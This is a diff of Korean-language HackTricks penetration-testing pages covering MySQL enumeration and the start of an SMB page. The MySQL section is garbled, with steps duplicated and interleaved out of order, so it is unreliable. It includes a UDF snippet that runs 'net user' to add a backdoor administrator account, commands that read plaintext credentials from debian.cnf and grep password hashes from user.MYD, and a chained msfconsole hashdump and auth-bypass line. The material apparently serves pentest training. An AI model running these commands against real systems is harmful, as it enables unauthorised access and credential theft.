MySQL 서비스에 대한 익명 연결을 시도하여 익명 사용자로 로그인할 수 있는지 확인할 수 있습니다. 다음 명령을 사용하십시오.
|
||||
* `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
|
||||
* `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
|
||||
|
||||
```bash
|
||||
mysql -h <호스트> -P <포트> -u anonymous
|
||||
```
|
||||
이 명령을 실행하면 익명 사용자로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하지 않아도 연결이 성공한다면, MySQL 서비스에 대한 익명 연결이 허용되는 것입니다.
|
||||
4. **MySQL 서비스 사용자 계정 테스트**
|
||||
|
||||
- `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
|
||||
- `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
|
||||
MySQL 서비스에 대한 사용자 계정을 테스트하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
|
||||
이 명령을 실행하면 익명 사용자로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하지 않아도 연결이 성공한다면, MySQL 서비스에 대한 익명 연결이 허용되는 것입니다.
|
||||
```bash
|
||||
mysql -h <호스트> -P <포트> -u <사용자> -p
|
||||
```
|
||||
|
||||
4. **MySQL 서비스 사용자 계정 테스트**
|
||||
* `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
|
||||
* `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
|
||||
* `<사용자>`: 테스트할 사용자 계정 이름
|
||||
|
||||
MySQL 서비스에 대한 사용자 계정을 테스트하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
이 명령을 실행하면 해당 사용자 계정으로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오.
|
||||
5. **MySQL 서비스 데이터베이스 및 테이블 확인**
|
||||
|
||||
```bash
|
||||
mysql -h <호스트> -P <포트> -u <사용자> -p
|
||||
```
|
||||
MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블을 확인할 수 있습니다.
|
||||
|
||||
- `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
|
||||
- `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
|
||||
- `<사용자>`: 테스트할 사용자 계정 이름
|
||||
```bash
|
||||
SHOW DATABASES;
|
||||
```
|
||||
|
||||
이 명령을 실행하면 해당 사용자 계정으로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오.
|
||||
```bash
|
||||
USE <데이터베이스>;
|
||||
SHOW TABLES;
|
||||
```
|
||||
|
||||
5. **MySQL 서비스 데이터베이스 및 테이블 확인**
|
||||
* `<데이터베이스>`: 확인할 데이터베이스 이름
|
||||
|
||||
MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블을 확인할 수 있습니다.
|
||||
이 명령을 실행하면 MySQL 서비스에 연결된 데이터베이스 및 해당 데이터베이스의 테이블 목록이 표시됩니다.
|
||||
6. **MySQL 서비스 데이터베이스 및 테이블 내용 확인**
|
||||
|
||||
```bash
|
||||
SHOW DATABASES;
|
||||
```
|
||||
MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블의 내용을 확인할 수 있습니다.
|
||||
|
||||
```bash
|
||||
USE <데이터베이스>;
|
||||
SHOW TABLES;
|
||||
```
|
||||
```bash
|
||||
USE <데이터베이스>;
|
||||
SELECT * FROM <테이블>;
|
||||
```
|
||||
|
||||
- `<데이터베이스>`: 확인할 데이터베이스 이름
|
||||
* `<데이터베이스>`: 확인할 데이터베이스 이름
|
||||
* `<테이블>`: 확인할 테이블 이름
|
||||
|
||||
이 명령을 실행하면 MySQL 서비스에 연결된 데이터베이스 및 해당 데이터베이스의 테이블 목록이 표시됩니다.
|
||||
이 명령을 실행하면 해당 테이블의 모든 레코드가 표시됩니다.
|
||||
|
||||
6. **MySQL 서비스 데이터베이스 및 테이블 내용 확인**
|
||||
|
||||
MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블의 내용을 확인할 수 있습니다.
|
||||
|
||||
```bash
|
||||
USE <데이터베이스>;
|
||||
SELECT * FROM <테이블>;
|
||||
```
|
||||
|
||||
- `<데이터베이스>`: 확인할 데이터베이스 이름
|
||||
- `<테이블>`: 확인할 테이블 이름
|
||||
|
||||
이 명령을 실행하면 해당 테이블의 모든 레코드가 표시됩니다.
|
||||
```sql
|
||||
# CHech the linux comments for more indications
|
||||
USE mysql;
|
||||
|
@ -555,20 +576,25 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
|||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
|
||||
### 파일에서 MySQL 자격 증명 추출하기
|
||||
|
||||
_/etc/mysql/debian.cnf_ 내부에는 사용자 **debian-sys-maint**의 **평문 암호**를 찾을 수 있습니다.
|
||||
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
|
||||
다음 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다.
|
||||
|
||||
파일 내부: _/var/lib/mysql/mysql/user.MYD_ 에서 **모든 MySQL 사용자의 해시를 찾을 수 있습니다** (데이터베이스 내부의 mysql.user에서 추출할 수 있는 해시들)_._
|
||||
|
||||
추출하는 방법은 다음과 같습니다:
|
||||
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
|
||||
### 로깅 활성화
|
||||
|
||||
`/etc/mysql/my.cnf` 내부에서 mysql 쿼리의 로깅을 활성화할 수 있습니다. 다음 라인들을 주석 해제하면 됩니다:
|
||||
|
@ -601,8 +627,6 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
|||
|
||||
## 기본 MySQL 데이터베이스/테이블
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="information_schema" %}
|
||||
ALL\_PLUGINS\
|
||||
APPLICABLE\_ROLES\
|
||||
CHARACTER\_SETS\
|
||||
|
@ -681,9 +705,7 @@ INNODB\_TABLESPACES\_ENCRYPTION\
|
|||
user\_variables\
|
||||
INNODB\_TABLESPACES\_SCRUBBING\
|
||||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="mysql" %}
|
||||
columns\_priv\
|
||||
column\_stats\
|
||||
db\
|
||||
|
@ -722,9 +744,7 @@ time\_zone\_transition\
|
|||
time\_zone\_transition\_type\
|
||||
transaction\_registry\
|
||||
user
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="performance_schema" %}
|
||||
accounts\
|
||||
cond\_instances\
|
||||
events\_stages\_current\
|
||||
|
@ -812,9 +832,7 @@ threads\
|
|||
user\_variables\_by\_thread\
|
||||
users\
|
||||
variables\_by\_thread
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sys" %}
|
||||
host\_summary\
|
||||
host\_summary\_by\_file\_io\
|
||||
host\_summary\_by\_file\_io\_type\
|
||||
|
@ -831,226 +849,301 @@ io\_global\_by\_wait\_by\_bytes\
|
|||
io\_global\_by\_wait\_by\_latency\
|
||||
latest\_file\_io\
|
||||
memory
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
|
||||
### schema\_table\_statistics
|
||||
- 스키마와 테이블의 통계 정보를 제공합니다.
|
||||
|
||||
* 스키마와 테이블의 통계 정보를 제공합니다.
|
||||
|
||||
### schema\_table\_statistics\_with\_buffer
|
||||
- 버퍼를 사용한 스키마와 테이블의 통계 정보를 제공합니다.
|
||||
|
||||
* 버퍼를 사용한 스키마와 테이블의 통계 정보를 제공합니다.
|
||||
|
||||
### schema\_tables\_with\_full\_table\_scans
|
||||
- 전체 테이블 스캔을 수행하는 스키마와 테이블의 목록을 제공합니다.
|
||||
|
||||
* 전체 테이블 스캔을 수행하는 스키마와 테이블의 목록을 제공합니다.
|
||||
|
||||
### schema\_unused\_indexes
|
||||
- 사용되지 않는 인덱스를 가진 스키마와 테이블의 목록을 제공합니다.
|
||||
|
||||
* 사용되지 않는 인덱스를 가진 스키마와 테이블의 목록을 제공합니다.
|
||||
|
||||
### session
|
||||
- 현재 세션의 정보를 제공합니다.
|
||||
|
||||
* 현재 세션의 정보를 제공합니다.
|
||||
|
||||
### session\_ssl\_status
|
||||
- SSL 연결 상태에 대한 세션 정보를 제공합니다.
|
||||
|
||||
* SSL 연결 상태에 대한 세션 정보를 제공합니다.
|
||||
|
||||
### statement\_analysis
|
||||
- SQL 문장 분석 결과를 제공합니다.
|
||||
|
||||
* SQL 문장 분석 결과를 제공합니다.
|
||||
|
||||
### statements\_with\_errors\_or\_warnings
|
||||
- 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### statements\_with\_full\_table\_scans
|
||||
- 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### statements\_with\_runtimes\_in\_95th\_percentile
|
||||
- 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### statements\_with\_sorting
|
||||
- 정렬을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 정렬을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### statements\_with\_temp\_tables
|
||||
- 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### sys\_config
|
||||
- 시스템 구성 정보를 제공합니다.
|
||||
|
||||
* 시스템 구성 정보를 제공합니다.
|
||||
|
||||
### user\_summary
|
||||
- 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### user\_summary\_by\_file\_io
|
||||
- 파일 I/O에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 파일 I/O에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### user\_summary\_by\_file\_io\_type
|
||||
- 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### user\_summary\_by\_stages
|
||||
- 단계별 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 단계별 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### user\_summary\_by\_statement\_latency
|
||||
- 문장 지연에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 문장 지연에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### user\_summary\_by\_statement\_type
|
||||
- 문장 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 문장 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### version
|
||||
- MySQL 버전 정보를 제공합니다.
|
||||
|
||||
* MySQL 버전 정보를 제공합니다.
|
||||
|
||||
### wait\_classes\_global\_by\_avg\_latency
|
||||
- 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
* 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
### wait\_classes\_global\_by\_latency
|
||||
- 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
* 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
### waits\_by\_host\_by\_latency
|
||||
- 호스트 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
* 호스트 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
### waits\_by\_user\_by\_latency
|
||||
- 사용자 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
* 사용자 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
### waits\_global\_by\_latency
|
||||
- 대기 시간에 따른 전역 대기 정보를 제공합니다.
|
||||
|
||||
* 대기 시간에 따른 전역 대기 정보를 제공합니다.
|
||||
|
||||
### x$host\_summary
|
||||
- 호스트 요약 정보를 제공합니다.
|
||||
|
||||
* 호스트 요약 정보를 제공합니다.
|
||||
|
||||
### x$host\_summary\_by\_file\_io
|
||||
- 파일 I/O에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
* 파일 I/O에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
### x$host\_summary\_by\_file\_io\_type
|
||||
- 파일 I/O 유형에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
* 파일 I/O 유형에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
### x$host\_summary\_by\_stages
|
||||
- 단계별 호스트 요약 정보를 제공합니다.
|
||||
|
||||
* 단계별 호스트 요약 정보를 제공합니다.
|
||||
|
||||
### x$host\_summary\_by\_statement\_latency
|
||||
- 문장 지연에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
* 문장 지연에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
### x$host\_summary\_by\_statement\_type
|
||||
- 문장 유형에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
* 문장 유형에 따른 호스트 요약 정보를 제공합니다.
|
||||
|
||||
### x$innodb\_buffer\_stats\_by\_schema
|
||||
- 스키마별 InnoDB 버퍼 통계 정보를 제공합니다.
|
||||
|
||||
* 스키마별 InnoDB 버퍼 통계 정보를 제공합니다.
|
||||
|
||||
### x$innodb\_buffer\_stats\_by\_table
|
||||
- 테이블별 InnoDB 버퍼 통계 정보를 제공합니다.
|
||||
|
||||
* 테이블별 InnoDB 버퍼 통계 정보를 제공합니다.
|
||||
|
||||
### x$innodb\_lock\_waits
|
||||
- InnoDB 락 대기 정보를 제공합니다.
|
||||
|
||||
* InnoDB 락 대기 정보를 제공합니다.
|
||||
|
||||
### x$io\_by\_thread\_by\_latency
|
||||
- 스레드 및 대기 시간에 따른 I/O 정보를 제공합니다.
|
||||
|
||||
* 스레드 및 대기 시간에 따른 I/O 정보를 제공합니다.
|
||||
|
||||
### x$io\_global\_by\_file\_by\_bytes
|
||||
- 파일 및 바이트에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
* 파일 및 바이트에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
### x$io\_global\_by\_file\_by\_latency
|
||||
- 파일 및 대기 시간에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
* 파일 및 대기 시간에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
### x$io\_global\_by\_wait\_by\_bytes
|
||||
- 대기 및 바이트에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
* 대기 및 바이트에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
### x$io\_global\_by\_wait\_by\_latency
|
||||
- 대기 및 대기 시간에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
* 대기 및 대기 시간에 따른 전역 I/O 정보를 제공합니다.
|
||||
|
||||
### x$latest\_file\_io
|
||||
- 최신 파일 I/O 정보를 제공합니다.
|
||||
|
||||
* 최신 파일 I/O 정보를 제공합니다.
|
||||
|
||||
### x$memory\_by\_host\_by\_current\_bytes
|
||||
- 호스트 및 현재 바이트에 따른 메모리 정보를 제공합니다.
|
||||
|
||||
* 호스트 및 현재 바이트에 따른 메모리 정보를 제공합니다.
|
||||
|
||||
### x$memory\_by\_thread\_by\_current\_bytes
|
||||
- 스레드 및 현재 바이트에 따른 메모리 정보를 제공합니다.
|
||||
|
||||
* 스레드 및 현재 바이트에 따른 메모리 정보를 제공합니다.
|
||||
|
||||
### x$memory\_by\_user\_by\_current\_bytes
|
||||
- 사용자 및 현재 바이트에 따른 메모리 정보를 제공합니다.
|
||||
|
||||
* 사용자 및 현재 바이트에 따른 메모리 정보를 제공합니다.
|
||||
|
||||
### x$memory\_global\_by\_current\_bytes
|
||||
- 현재 바이트에 따른 전역 메모리 정보를 제공합니다.
|
||||
|
||||
* 현재 바이트에 따른 전역 메모리 정보를 제공합니다.
|
||||
|
||||
### x$memory\_global\_total
|
||||
- 전체 메모리 정보를 제공합니다.
|
||||
|
||||
* 전체 메모리 정보를 제공합니다.
|
||||
|
||||
### x$processlist
|
||||
- 프로세스 목록을 제공합니다.
|
||||
|
||||
* 프로세스 목록을 제공합니다.
|
||||
|
||||
### x$ps\_digest\_95th\_percentile\_by\_avg\_us
|
||||
- 평균 마이크로초에 따른 95% 백분위수 정보를 제공합니다.
|
||||
|
||||
* 평균 마이크로초에 따른 95% 백분위수 정보를 제공합니다.
|
||||
|
||||
### x$ps\_digest\_avg\_latency\_distribution
|
||||
- 평균 지연 분포 정보를 제공합니다.
|
||||
|
||||
* 평균 지연 분포 정보를 제공합니다.
|
||||
|
||||
### x$ps\_schema\_table\_statistics\_io
|
||||
- 스키마 및 테이블 I/O 통계 정보를 제공합니다.
|
||||
|
||||
* 스키마 및 테이블 I/O 통계 정보를 제공합니다.
|
||||
|
||||
### x$schema\_flattened\_keys
|
||||
- 플래튼된 키 정보를 제공합니다.
|
||||
|
||||
* 플래튼된 키 정보를 제공합니다.
|
||||
|
||||
### x$schema\_index\_statistics
|
||||
- 인덱스 통계 정보를 제공합니다.
|
||||
|
||||
* 인덱스 통계 정보를 제공합니다.
|
||||
|
||||
### x$schema\_table\_lock\_waits
|
||||
- 테이블 락 대기 정보를 제공합니다.
|
||||
|
||||
* 테이블 락 대기 정보를 제공합니다.
|
||||
|
||||
### x$schema\_table\_statistics
|
||||
- 테이블 통계 정보를 제공합니다.
|
||||
|
||||
* 테이블 통계 정보를 제공합니다.
|
||||
|
||||
### x$schema\_table\_statistics\_with\_buffer
|
||||
- 버퍼를 사용한 테이블 통계 정보를 제공합니다.
|
||||
|
||||
* 버퍼를 사용한 테이블 통계 정보를 제공합니다.
|
||||
|
||||
### x$schema\_tables\_with\_full\_table\_scans
|
||||
- 전체 테이블 스캔을 수행하는 테이블의 목록을 제공합니다.
|
||||
|
||||
* 전체 테이블 스캔을 수행하는 테이블의 목록을 제공합니다.
|
||||
|
||||
### x$session
|
||||
- 세션 정보를 제공합니다.
|
||||
|
||||
* 세션 정보를 제공합니다.
|
||||
|
||||
### x$statement\_analysis
|
||||
- SQL 문장 분석 정보를 제공합니다.
|
||||
|
||||
* SQL 문장 분석 정보를 제공합니다.
|
||||
|
||||
### x$statements\_with\_errors\_or\_warnings
|
||||
- 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### x$statements\_with\_full\_table\_scans
|
||||
- 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### x$statements\_with\_runtimes\_in\_95th\_percentile
|
||||
- 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### x$statements\_with\_sorting
|
||||
- 정렬을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 정렬을 수행하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### x$statements\_with\_temp\_tables
|
||||
- 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
* 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다.
|
||||
|
||||
### x$user\_summary
|
||||
- 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### x$user\_summary\_by\_file\_io
|
||||
- 파일 I/O에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 파일 I/O에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### x$user\_summary\_by\_file\_io\_type
|
||||
- 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### x$user\_summary\_by\_stages
|
||||
- 단계별 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 단계별 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### x$user\_summary\_by\_statement\_latency
|
||||
- 문장 지연에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 문장 지연에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### x$user\_summary\_by\_statement\_type
|
||||
- 문장 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
* 문장 유형에 따른 사용자 요약 정보를 제공합니다.
|
||||
|
||||
### x$wait\_classes\_global\_by\_avg\_latency
|
||||
- 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
* 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
### x$wait\_classes\_global\_by\_latency
|
||||
- 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
* 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.
|
||||
|
||||
### x$waits\_by\_host\_by\_latency
|
||||
- 호스트 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
* 호스트 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
### x$waits\_by\_user\_by\_latency
|
||||
- 사용자 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
* 사용자 및 대기 시간에 따른 대기 정보를 제공합니다.
|
||||
|
||||
### x$waits\_global\_by\_latency
|
||||
- 대기 시간에 따른 전역 대기 정보를 제공합니다.
|
||||
|
||||
* 대기 시간에 따른 전역 대기 정보를 제공합니다.
|
||||
|
||||
```
|
||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3306 #Comma separated if there is more than one.
|
||||
|
@ -1081,6 +1174,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
|
@ -1096,7 +1190,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
617
network-services-pentesting/pentesting-smb/README.md
Normal file
617
network-services-pentesting/pentesting-smb/README.md
Normal file
|
@ -0,0 +1,617 @@
|
|||
# 139,445 - Pentesting SMB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **포트 139**
|
||||
|
||||
_**네트워크 기본 입력 출력 시스템**_\*\* (NetBIOS)\*\*는 로컬 영역 네트워크(LAN) 내의 응용 프로그램, PC 및 데스크톱이 네트워크 하드웨어와 상호 작용하고 **네트워크를 통해 데이터를 전송하는 것을 용이하게 하는** 소프트웨어 프로토콜입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 응용 프로그램의 식별 및 위치는 최대 16자까지의 NetBIOS 이름을 통해 달성되며 컴퓨터 이름과 일반적으로 다릅니다. 두 응용 프로그램 간의 NetBIOS 세션은 클라이언트로 작동하는 한 응용 프로그램이 다른 서버로 작동하는 응용 프로그램을 "호출"하는 명령을 내릴 때 **TCP 포트 139**를 사용하여 시작됩니다.
|
||||
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
|
||||
## 포트 445
|
||||
|
||||
기술적으로 포트 139는 'NBT over IP'로 지칭되며, 포트 445는 'SMB over IP'로 식별됩니다. 약어 **SMB**는 '**Server Message Blocks**'의 약어로, 현대적으로는 \*\*Common Internet File System (CIFS)\*\*로도 알려져 있습니다. 응용 계층 네트워크 프로토콜인 SMB/CIFS는 주로 파일, 프린터, 시리얼 포트에 대한 공유 액세스를 가능하게 하고 네트워크 상의 노드 간 다양한 형태의 통신을 용이하게 합니다.
|
||||
|
||||
예를 들어, Windows의 경우, SMB는 TCP/IP 상에서 직접 작동할 수 있으며, NetBIOS over TCP/IP가 필요하지 않도록 포트 445를 활용합니다. 반면, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다.
|
||||
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
|
||||
### SMB
|
||||
|
||||
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며 **파일, 디렉토리 및 프린터, 라우터와 같은 네트워크 자원에 대한 액세스**를 조절하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 역 호환성을 보장합니다. 또한 **Samba** 프로젝트는 무료 소프트웨어 솔루션을 제공하여 SMB를 **Linux** 및 Unix 시스템에 구현할 수 있도록 하여 SMB를 통한 크로스 플랫폼 통신을 용이하게 합니다.
|
||||
|
||||
**임의의 로컬 파일 시스템 부분**을 나타내는 공유는 SMB 서버에서 제공될 수 있으며, 이를 통해 클라이언트가 서버의 실제 구조와 **부분적으로 독립적인** 계층 구조를 볼 수 있습니다. \*\*액세스 제어 목록 (ACL)\*\*은 **액세스 권한을 정의**하며, **`실행`**, **`읽기`**, \*\*`전체 액세스`\*\*와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 가능하게 합니다. 이러한 권한은 공유에 기반하여 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에 설정된 로컬 권한과 구분됩니다.
|
||||
|
||||
### IPC$ 공유
|
||||
|
||||
